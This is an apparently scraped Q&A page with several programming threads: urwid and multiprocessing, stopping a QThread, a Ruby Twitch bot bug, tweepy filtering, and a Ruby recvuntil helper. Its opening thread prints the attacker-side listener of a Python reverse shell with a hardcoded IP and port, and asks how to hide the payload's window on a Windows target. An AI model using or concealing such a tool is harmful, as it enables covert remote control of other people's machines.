Hide payload window on target system. Python Reverse Shell - windows

I'm using this simple python reverse shell.
When this runs, a command window pops up on the target Windows system. Is there a way to hide it?
import socket
BUFFER_SIZE = 1024
attacker_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# lets the attacker server listen on the specified port number
def attacker_server_binder(hostname, port_number):
attacker_server.bind((hostname, port_number))
attacker_server.listen(5)
# listening for connections
def target_client_connection_receiver():
while True:
# receive connection from target client
target_client, target_client_address = attacker_server.accept()
if(target_client != None):
break
print("Connection established to target\n $reverse_shell: ", end="")
return target_client
# connects to the client being targeted
def send_data(data, target_client):
target_client.send(bytes(data, 'utf-8'))
acknowledgement = target_client.recv(BUFFER_SIZE)
if(acknowledgement == b'ACK'):
# print("Data received at target end")
receive_data(target_client)
else:
print("Acknowledgement receipt not received.\n$reverse_shell: ", end = "")
def receive_data(target_client):
response = ""
while True:
received_data = target_client.recv(BUFFER_SIZE)
received_data = received_data.decode('utf-8')
response = response + received_data
if(len(received_data) < BUFFER_SIZE):
break
print(response + "\n$reverse_shell: ", end= "")
def command_handler(target_client):
data = str(input())
try:
data.index('file')
file_handler(target_client, data)
return
except:
pass
send_data(data, target_client)
def file_handler(target_client, command):
target_client.send(bytes(command, 'utf-8'))
acknowledgement = target_client.recv(BUFFER_SIZE)
if(acknowledgement == b'ACK'):
pass
data_splits = command.split(' ')
mode = data_splits[2]
if(mode == 'r'):
receive_data(target_client)
elif(mode == 'w' or mode == 'a'):
print("enter FILE_UPDATE_QUIT to end data transfer")
while True:
data = str(input("--> "))
target_client.send(bytes(data, 'utf-8'))
if(data == 'FILE_UPDATE_QUIT'):
break
receive_data(target_client)
def main():
attacker_server_binder("192.168.29.15", 1234)
# receive connection from target client
target_client = target_client_connection_receiver()
while True:
command_handler(target_client)
main()

Related

Urwid and Multiprocessing

i try to sequence some actions in urwid
I made a timer which run in background and communicate with the mainprocess
like this:
from multiprocessing import Process, Pipe
import time
import urwid
def show_or_exit(key):
if key in ('q', 'Q'):
raise urwid.ExitMainLoop()
class midiloop(urwid.Frame):
def __init__(self):
self.message = urwid.Text('Press Space', align='center')
self.filler = urwid.Filler(self.message, "middle")
super().__init__(urwid.Frame(self.filler))
def keypress(self, size, key):
if key == " ":
self.seq()
else:
return key
def timer(self,conn):
x = 0
while True:
if (conn.poll() == False):
pass
else:
z = conn.recv()
if (z == "kill"):
return()
conn.send(x)
x+=1
time.sleep(0.05)
def seq(self):
self.parent_conn, self.child_conn = Pipe()
self.p = Process(target=self.timer, args=(self.child_conn,))
self.p.start()
while True:
if (self.parent_conn.poll(None)):
self.y = self.parent_conn.recv()
self.message.set_text(str(self.y))
loop.draw_screen()
if ( self.y > 100 ):
self.parent_conn.send("kill")
self.message.set_text("Press Space")
return()
if __name__ == '__main__':
midiloop = midiloop()
loop = urwid.MainLoop(midiloop, unhandled_input=show_or_exit, handle_mouse=True)
loop.run()
The problem is i'm blocking urwid mainloop with while True:
So anyone can give me a solution to listen for key Q to quit the program before it reachs the end of the loop for example and more generally to interact with urwid and communicate with the subprocess
It seems to be rather complicated to combine multiprocessing and urwid.
Since you're using a timer and your class is called midiloop, I'm going to guess that maybe you want to implement a mini sequencer.
One possible way of implementing that is using an asyncio loop instead of urwid's MainLoop, and schedule events with the loop.call_later() function. I've implemented a simple drum machine with that approach in the past, using urwid for drawing the sequencer, asyncio for scheduling the play events and simpleaudio to play. You can see the code for that here: https://github.com/eliasdorneles/kickit
If you still want to implement communication with multiprocessing, I think your best bet is to use urwid.AsyncioEventLoop and the aiopipe helper for duplex communication.
It's not very minimal I'm afraid. However I did spend a day writing this Urwid frontend that starts, stops and communicates with a subprocess.
import os
import sys
from multiprocessing import Process, Pipe, Event
from collections import deque
import urwid
class suppress_stdout_stderr(object):
"""
Supresses the stdout and stderr by piping them to dev null...
The same place I send bad faith replies to my tweets
"""
def __enter__(self):
self.outnull_file = open(os.devnull, 'w')
self.errnull_file = open(os.devnull, 'w')
self.old_stdout_fileno_undup = sys.stdout.fileno()
self.old_stderr_fileno_undup = sys.stderr.fileno()
self.old_stdout_fileno = os.dup(sys.stdout.fileno())
self.old_stderr_fileno = os.dup(sys.stderr.fileno())
self.old_stdout = sys.stdout
self.old_stderr = sys.stderr
os.dup2(self.outnull_file.fileno(), self.old_stdout_fileno_undup)
os.dup2(self.errnull_file.fileno(), self.old_stderr_fileno_undup)
sys.stdout = self.outnull_file
sys.stderr = self.errnull_file
return self
def __exit__(self, *_):
sys.stdout = self.old_stdout
sys.stderr = self.old_stderr
os.dup2(self.old_stdout_fileno, self.old_stdout_fileno_undup)
os.dup2(self.old_stderr_fileno, self.old_stderr_fileno_undup)
os.close(self.old_stdout_fileno)
os.close(self.old_stderr_fileno)
self.outnull_file.close()
self.errnull_file.close()
def subprocess_main(transmit, stop_process):
with suppress_stdout_stderr():
import time
yup = ['yuuuup', 'yuuuuup', 'yeaup', 'yeoop']
nope = ['noooooooe', 'noooope', 'nope', 'nope']
mesg = 0
i = 0
while True:
i = i % len(yup)
if transmit.poll():
mesg = transmit.recv()
if mesg == 'Yup':
transmit.send(yup[i])
if mesg == 'Nope':
transmit.send(nope[i])
if stop_process.wait(0):
break
i += 1
time.sleep(2)
class SubProcess:
def __init__(self, main):
"""
Handles forking, stopping and communication with a subprocess
:param main: subprocess method to run method signature is
def main(transmit, stop_process):
transmit: is a multiprocess Pipe to send data to parent process
stop_process: is multiprocess Event to set when you want the process to exit
"""
self.main = main
self.recv, self.transmit = None, None
self.stop_process = None
self.proc = None
def fork(self):
"""
Forks and starts the subprocess
"""
self.recv, self.transmit = Pipe(duplex=True)
self.stop_process = Event()
self.proc = Process(target=self.main, args=(self.transmit, self.stop_process))
self.proc.start()
def write_pipe(self, item):
self.recv.send(item)
def read_pipe(self):
"""
Reads data sent by the process into a list and returns it
:return:
"""
item = []
if self.recv is not None:
try:
while self.recv.poll():
item += [self.recv.recv()]
except:
pass
return item
def stop(self):
"""
Sets the event to tell the process to exit.
note: this is co-operative multi-tasking, the process must respect the flag or this won't work!
"""
self.stop_process.set()
self.proc.join()
class UrwidFrontend:
def __init__(self, subprocess_main):
"""
Urwid frontend to control the subprocess and display it's output
"""
self.title = 'Urwid Frontend Demo'
self.choices = 'Start Subprocess|Quit'.split('|')
self.response = None
self.item = deque(maxlen=10)
self.event_loop = urwid.SelectEventLoop()
# start the heartbeat
self.event_loop.alarm(0, self.heartbeat)
self.main = urwid.Padding(self.main_menu(), left=2, right=2)
self.top = urwid.Overlay(self.main, urwid.SolidFill(u'\N{MEDIUM SHADE}'),
align='center', width=('relative', 60),
valign='middle', height=('relative', 60),
min_width=20, min_height=9)
self.loop = urwid.MainLoop(self.top, palette=[('reversed', 'standout', ''), ], event_loop=self.event_loop)
self.subprocess = SubProcess(subprocess_main)
def exit_program(self, button):
raise urwid.ExitMainLoop()
def main_menu(self):
body = [urwid.Text(self.title), urwid.Divider()]
for c in self.choices:
button = urwid.Button(c)
urwid.connect_signal(button, 'click', self.handle_button, c)
body.append(urwid.AttrMap(button, None, focus_map='reversed'))
return urwid.ListBox(urwid.SimpleFocusListWalker(body))
def subproc_menu(self):
self.response = urwid.Text('Waiting ...')
body = [self.response, urwid.Divider()]
choices = ['Yup', 'Nope', 'Stop Subprocess']
for c in choices:
button = urwid.Button(c)
urwid.connect_signal(button, 'click', self.handle_button, c)
body.append(urwid.AttrMap(button, None, focus_map='reversed'))
listbox = urwid.ListBox(urwid.SimpleFocusListWalker(body))
return listbox
def update_subproc_menu(self, text):
self.response.set_text(text)
def handle_button(self, button, choice):
if choice == 'Start Subprocess':
self.main.original_widget = self.subproc_menu()
self.subprocess.fork()
self.item = deque(maxlen=10)
if choice == 'Stop Subprocess':
self.subprocess.stop()
self.main.original_widget = self.main_menu()
if choice == 'Quit':
self.exit_program(button)
if choice == 'Yup':
self.subprocess.write_pipe('Yup')
if choice == 'Nope':
self.subprocess.write_pipe('Nope')
def heartbeat(self):
"""
heartbeat that runs 24 times per second
"""
# read from the process
self.item.append(self.subprocess.read_pipe())
# display it
if self.response is not None:
self.update_subproc_menu(['Subprocess started\n', f'{self.item}\n', ])
self.loop.draw_screen()
# set the next beat
self.event_loop.alarm(1 / 24, self.heartbeat)
def run(self):
self.loop.run()
if __name__ == "__main__":
app = UrwidFrontend(subprocess_main)
app.run()

How to stop QThread "gracefully"?

I have got some help to do the following code. But I need to break out from this loop which is in the Worker thread, so when I exit from the application, it does not crash. At the moment QThread is still running when I quit from the app.
If I use break statement it works, but then I cannot do another search for hosts, because the loop has been closed entirely. I have tried several ways to do it, but no luck. I am new to programming.
class Worker(QThread):
found = Signal(str)
notFound = Signal(str)
def __init__(self):
QThread.__init__(self)
self.queue = Queue()
def run(self):
while True:
hostname = self.queue.get()
output_text = collect_host_status(hostname)
for i in output_text:
if "not found" in i:
self.notFound.emit(i.replace(" not found", ""))
else:
self.found.emit(i)
def lookUp(self, hostname):
self.queue.put(hostname)
class MainWindow(QMainWindow):
def __init__(self):
# ...
self.ui.pushButton_2.clicked.connect(self.buttonclicked)
self.thread = Worker()
self.thread.found.connect(self.ui.textEdit_2.append)
self.thread.notFound.connect(self.ui.textEdit_3.append)
self.thread.start()
def buttonclicked(self):
if self.ui.textEdit.toPlainText():
self.thread.lookUp(self.ui.textEdit.toPlainText())
Here is the code for the collect host status:
def get_brss_host_status(host):
host = host.lower()
api_url = 'https://some.system.with/api/'
host_search = 'status/host/{}?format=json'.format(host)
r = requests.get(api_url + host_search, auth=(loc_brss_user, loc_brss_passwd))
request_output = r.text
if request_output == '{"error":"Not Found","full_error":"Not Found"}':
host2 = host.upper()
host_search2 = 'status/host/{}?format=json'.format(host2)
r2 = requests.get(api_url + host_search2, auth=(loc_brss_user, loc_brss_passwd))
request_output2 = r2.text
# print('Debug request_output2', request_output2)
if request_output and request_output2 == '{"error":"Not Found","full_error":"Not Found"}':
output_string = host + " not found"
else:
output_string = host2
else:
output_string = host
return output_string
def collect_host_status(hosts):
hosts_list = list(hosts.split("\n"))
status_list = []
for i in hosts_list:
host = get_brss_host_status(i)
status_list.append(host)
return status_list
The base solution, as suggested in the comments by #ekhumoro, is to use a simple flag in the while loop, which will ensure that as soon as the cycle restarts it exits if the condition is not respected.
Some care should be used, though, for two important aspects:
using the basic get() of Queue makes the cycle wait undefinitely;
the function in the example (a network request) might be delayed for some time if any network problem occurs (temporary network issues, etc);
To correctly solve these issues, the following modifications should be done:
get() should use a timeout, so that it allows exiting the cycle even when no request is being queued; as an alternative, you can unset the "running" flag, add anything to the queue and check for the flag before proceeding: this ensures that you don't have to wait for the queue get() timeout;
the network requests should have a minimum timeout too;
they should be done individually from the thread, and not grouped, so that the thread can exit if the requested host list is too big and you want to quit while doing look ups;
from queue import Queue, Empty
class Worker(QThread):
found = Signal(str)
notFound = Signal(str)
def __init__(self):
QThread.__init__(self)
self.queue = Queue()
def run(self):
self.keepRunning = True
while self.keepRunning:
hostList = self.queue.get()
if not self.keepRunning:
break
# otherwise:
# try:
# hostList = self.queue.get(timeout=1)
# except Empty:
# continue
for hostname in hostList.splitlines():
if not self.keepRunning:
break
if hostname:
output_text = get_brss_host_status(hostname)
if output_text is None:
continue
if "not found" in output_text:
self.notFound.emit(output_text.replace(" not found", ""))
else:
self.found.emit(output_text)
def stop(self):
self.keepRunning = False
self.queue.put(None)
def lookUp(self, hostname):
self.queue.put(hostname)
And in the get_brss_host_status, change the following:
def get_brss_host_status(host):
host = host.lower()
api_url = 'https://some.system.with/api/'
host_search = 'status/host/{}?format=json'.format(host)
try:
r = requests.get(api_url + host_search,
auth=(loc_brss_user, loc_brss_passwd),
timeout=1)
except Timeout:
return
# ...

Ruby "include?" method not working

I have a few commands from a Twitch chat, it works and it's awesome! People can type commands like !about and it's going to send a response. There's just one problem, if you go down to the thread and look under # // COMMANDS // COMMANDS // COMMANDS. There's a problem, thereĀ“s a few admin commands (look under # ADMIN COMMANDS // ADMIN COMMANDS). I have this: if msg.include?("!project") then msg.slice!("!project "), but it's not working like I want it to. I want to be able to type !project Then some substring here. But when a substring is attached it doesn't work, even though I can print msg and it clearly includes !project. Both the !disconnect and !project command work when it's only those commands by themselves. Meaning that something like !disconnect Hello World wouldn't work even though it clearly includes !disconnect.
# Message formatting in console
class String
def red; "\e[31m#{self}\e[0m" end
def yellow; "\e[33m#{self}\e[0m" end
def green; "\e[32m#{self}\e[0m" end
def cyan; "\e[36m#{self}\e[0m" end
def bold; "\e[1m#{self}\e[22m" end
end
# Requied packages / modules
require 'socket'
require 'logger'
require 'open-uri'
# Create logger
File.delete("log.txt") # Clear previous log
log = Logger.new("log.txt", formatter: proc {|severity, datetime, progname, msg|
"#{datetime}: #{msg}\n"})
# Required Info
load "credentials.txt"
log.info("Loading \"credentials.txt\"")
# -------- IGNORE -------- #
OAUTH.downcase!
BOTNAME.downcase!
CHANNEL.downcase!.gsub!("#", "")
# //- AGE -// #
time = Time.new
age = time.year - 2000
if time.month == 10
if time.day < 28
age -= 1
end
elsif time.month < 10
age -= 1
end
# -------- IGNORE -------- #
# Save "Preparing to connect" to "log.txt"
log.info("Preparing to connect")
# Variables
socket = TCPSocket.new('irc.chat.twitch.tv', 6667)
send = "PRIVMSG ##{CHANNEL} :" # shortcut for sending messages
running = true
content = nil
message_count = 0
message_limit = Time.now.to_i
# Commands
commands = ["!about","!uptime","!commands","!cortexio","!followed"]
api_commands = ["!followed","!uptime"]
admin_commands = ["!disconnect","!project"]
# Authorization Login
socket.puts("PASS #{OAUTH}") # Send the password(oauth) to Twitch
socket.puts("NICK #{BOTNAME}") # Send the botname to Twitch
socket.puts("JOIN ##{CHANNEL}") # Send the channel to Twitch
# Save "Connected!" to "log.txt
log.info("Joining #{CHANNEL.capitalize} as #{BOTNAME.capitalize} using OAUTH Token: #{OAUTH[6,OAUTH.length-12]}" + "*"*12)
# Thread.abort_on_exception = true
# Loop (Background Thread) for recieving Twitch chat data
Thread.start do
socket.puts(send + "Connected!") # Send "Connected!" to the Twitch channel
puts "#{BOTNAME} Joined ##{CHANNEL}" # Connection Status
puts "You should be fully connected now" # Connection Status
puts ""
puts "Type \"clear\" to clear terminal"
puts ""
while (running) do
ready = IO.select([socket])
ready[0].each do |s|
line = s.gets
# Respond to Twitch IRC "PING" Message
if line.index("PING") == 0
line.strip!
socket.puts("PONG :tmi.twitch.tv\r\n")
log.info("[IRC Message]: " + line)
log.info("[IRC Response]: PONG :tmi.twitch.tv")
puts("-".bold.red*line.length)
puts "[Twitch] ".bold.cyan + "IRC: ".bold.yellow + line.bold.green
puts "[Response] ".bold.cyan + "IRC: ".bold.yellow + "PONG :tmi.twitch.tv".bold.green
puts("-".bold.red*line.length)
end
match = line.match(/^:(.+)!(.+)PRIVMSG ##{CHANNEL} :(.+)$/)
message = match && match[3]
if message =~ /^/
message.strip!
user = match[1] # Get username
# Twitch message limit - (Max 100 messages in 30 secs - Applies to mods and above)
# Avoid global ban
if Time.now.to_i - message_limit > 30 # If more than 30 seconds has passed
message_count = 0 # Reset "message_count"
end
if message_count == 0 # If "message_count" is 0
message_limit = Time.now.to_i # Start counting to 30 again
end
message_count = message_count + 1
end
# // COMMANDS // COMMANDS // COMMANDS
if message != nil
msg = message.downcase
# ADMIN COMMANDS // ADMIN COMMANDS
if admin_commands.include?(msg) and user == CHANNEL
if msg.include?("!disconnect")
socket.puts(send + "Disconnecting") # Disconnect from the channel
socket.puts("PART ##{CHANNEL}") # Disconnect from the channel
Disconnect()
log.info("[Command] #{user}: #{message}")
elsif msg.include?("!project")
msg.slice!("!project ")
File.write("Responses/project.txt", msg)
end
user = user.capitalize # Capitalize first letter (Cuz I'm that kind of person)
elsif commands.include?(msg) and message_count < 80
puts "[Command] ".bold.cyan + "#{user}: ".bold + "#{message}".bold.cyan
# API COMMANDS // API COMMANDS
if api_commands.include?(msg)
if msg.include?("!uptime")
file = open("https://decapi.me/twitch/uptime?channel=#{CHANNEL}")
content = "#{CHANNEL} has been streaming for: " + file.read
elsif msg.include?("!followed")
file = open("https://decapi.me/twitch/followage/#{CHANNEL}/#{user}")
content = file.read
if content == "Follow not found"
content = "#{user} is not following #{CHANNEL}"
else
content = "#{user} has been following #{CHANNEL} for " + content
end
end
puts "[Response] ".bold.red + "Cortexio: ".bold + "API: ".bold.yellow + "\"#{content}\"".bold.red
else
file = open "Responses/" + msg.gsub!("!","") + ".txt" # open matching file
content = file.read
file.close
puts "[Response] ".bold.red + "Cortexio: ".bold + "File: ".bold.yellow + "\"#{msg}.txt\"".bold.red
end
file.close
log.info("[Command] #{user}: #{message}")
else
puts "[Message] ".bold.green + "#{user}: ".bold + "#{message}".bold.green
log.info("[Message] #{user}: #{message}")
if message[0] == "!" # Unrecognized command
content = "Unrecognized command: \"#{message}\" - Type !commands to see a list of available commands."
end
end
# Response handling
if content != nil
content.gsub!("USER", "##{user}")
content.gsub!("AGE", "#{age}")
content.gsub!("CHANNEL", "#{CHANNEL}")
if content.include?("COMMANDS")
content.gsub!("COMMANDS", "#{commands}")
content.gsub!("\"", "")
content.gsub!("[","")
content.gsub!("]","")
end
socket.puts(send + content) # Send response if any
content = nil # Too avoid multiple messages with the same response
end
end
end
end
end
def Disconnect() # End script
running = false
exit
end
# Loop to keep bot going
while (running) do
input = gets.chomp
if input == "clear"
system "clear" or system "cls"
end
end
The problem isn't with
if msg.include?("!project")
it's with the line before it:
admin_commands.include?(msg)
admin_commands is an array which contains the 2 strings ["!disconnect","!project"]. It does not, however, contain the string "!project Then some substring here", so you are never checking if msg.include?("!project"). You should be seeing your log messages about an unrecognized command, which means you aren't making it into your first if statement. What you'll want to be doing is something like:
if admin_commands.any? { |command| msg.include?(command) }
if msg.include?("!project")
# ...

Filter tweets in tweepy.StreamListener on_data method

Understand from many articles on stack overflow that the filter method in the tweepy.streaming.stream class uses a logical OR for track and location arguements
so the below will return either tweets from location=USA or with a word ""
streamObj = tweepy.streaming.Stream(oauthObject
,EchoStreamListener(api=apiInstance,
dump_json=args.json,
numtweets=args.numtweets))
keyWordList = ['panthers','falcon']
GEOBOX_USA = [-125,25.1,-60.5,49.1]
streamObj.filter(locations=GEOBOX_USA, track=keyWordList, languages=['en'])
This solution (How to add a location filter to tweepy module
) to check keywords in the on_status method works great, but if i needed to store the entire json variable i think i would have to use the on_data
so changed the on_data (as shown in code below), but get an error:
File "/Library/Python/2.7/site-packages/tweepy/streaming.py", line 294, in _run
raise exception
KeyError: 'text'
-- coding: utf-8 --
from types import *
import tweepy
import json
import argparse
import io
class EchoStreamListener(tweepy.StreamListener):
def __init__(self, api, dump_json=False, numtweets=0):
self.api = api
self.dump_json = dump_json
self.count = 0
self.limit = int(numtweets)
super(tweepy.StreamListener, self).__init__()
# def on_status(self, status):
# if any(keyWord in status.text.lower() for keyWord in keyWordList):
# print status.text
#
# self.count+=1
# return False if self.count == self.limit else True
# else:
# return True # Don't kill the stream
def on_data(self, tweet):
tweet_data = json.loads(tweet) # This allows the JSON data be used as a normal dictionary:
if any(keyWord in tweet_data['text'] for keyWord in keyWordList):
if self.dump_json:
print json.dumps(tweet_data)
saveFile.write(unicode(tweet) + "\n")
self.count+=1
return False if self.count == self.limit else True
else:
print tweet_data['created_at','name','text'].encode("utf-8").rstrip()
def on_error(self, status_code):
print >> sys.stderr, 'Encountered error with status code:', status_code
return True
def get_parser():
parser = argparse.ArgumentParser(add_help=True)
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument(
'-j', '--json',
action='store_true',
help='dump each tweet as a json string'
)
group.add_argument(
'-t', '--text',
dest='json',
action='store_false',
help='dump each tweet\'s text'
)
parser.add_argument(
'-n', '--numtweets',
metavar='numtweets',
help='set number of tweets to retrieve'
)
return parser
if __name__ == '__main__':
oauthObject = tweepy.OAuthHandler(myconsumer_key, myconsumer_secret)
oauthObject.set_access_token(myaccess_key,myaccess_secret)
apiInstance = tweepy.API(oauthObject)
parser = get_parser()
args = parser.parse_args()
streamObj = tweepy.streaming.Stream(oauthObject
,EchoStreamListener(api=apiInstance,
dump_json=args.json,
numtweets=args.numtweets))
keyWordList = ['panthers','falcon']
GEOBOX_USA = [-125,25.1,-60.5,49.1]
saveFile = io.open('/Users/deepaktanna/raw_tweets.json', 'w', encoding='utf-8')
streamObj.filter(locations=GEOBOX_USA, languages=['en'])
saveFile.close()

Is there "pwntools" equivalent gem for Ruby?

or is there anyway to get this function working in ruby socket programming:
conn = pwn.remote('localhost', 4567)
conn.recvuntil("> ")
With native Ruby socket module, socket.read(bytes) will wait until it receives exact number of bytes, which i cannot decide apriori. And, socket.recv(bytes), will print as soon as it gets some data, regardless of message being complete.
Since, I do know the message format and its ending, it would be easy, if there was a gem as mentioned above or any way to get the functionality in Ruby.
For eg, if i know the message from the server ends with colon,
socket = Socket.new( AF_INET, SOCK_STREAM, 0 )
sockaddr = Socket.pack_sockaddr_in(port, hostname)
socket.connect( sockaddr )
socket.recvuntil ": "
# do something
socket.send "y"
require 'socket'
def read_until(socket, re)
accu = ''
re = Regexp.escape(re) if String === re
re = /#{re}\Z/
socket.each_char do |c|
accu << c
return accu if re === accu
end
return accu
end
socket = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM, 0 )
sockaddr = Socket.pack_sockaddr_in(80, 'www.google.com')
socket.connect(sockaddr)
socket.write "GET / HTTP/1.0\n\n"
headers = read_until(socket, /\r\n\r\n/)
body = socket.read
puts "HEADERS:\n#{headers}BODY:\n#{body}"

Resources